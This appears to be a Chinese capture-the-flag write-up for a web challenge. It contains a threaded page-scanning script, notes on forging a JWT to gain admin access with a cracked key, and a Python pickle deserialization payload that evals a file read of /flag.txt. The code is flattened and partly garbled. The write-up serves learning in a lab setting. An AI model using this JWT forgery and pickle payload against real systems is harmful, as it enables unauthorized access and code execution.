defgo(st,ed): for i inrange(st,ed): url = 'http://5165d3c2-a7eb-4727-a30a-0b86ed1d36c5.node4.buuoj.cn:81/shop?page=' url += str(i) r = requests.get(url,timeout=2) if'lv6.png'in r.text: print(i) break time.sleep(0.1)
if __name__ == '__main__': threads = [] for i inrange(10): t = threading.Thread(target=go,args=(i*20,(i+1)*20)) threads.append(t) for item in threads: item.start()
找到?page=181
购买的时候将discount调越小越好
但只允许admin访问,注意Cookie里有jwt,可以想到jwt伪造
jwt伪造
通过jwt伪造admin身份,密钥通过c-jwt-cracker工具爆破:1Kun
访问得到
得到源码
pickle反序列化漏洞
1 2 3 4 5 6 7 8 9 10 11
import pickle import urllib
classA(object): def__reduce__(self):
return (eval,("open('/flag.txt','r').read()",)) a1 = A() test = pickle.dumps(a1) test = urllib.quote(test) print(test)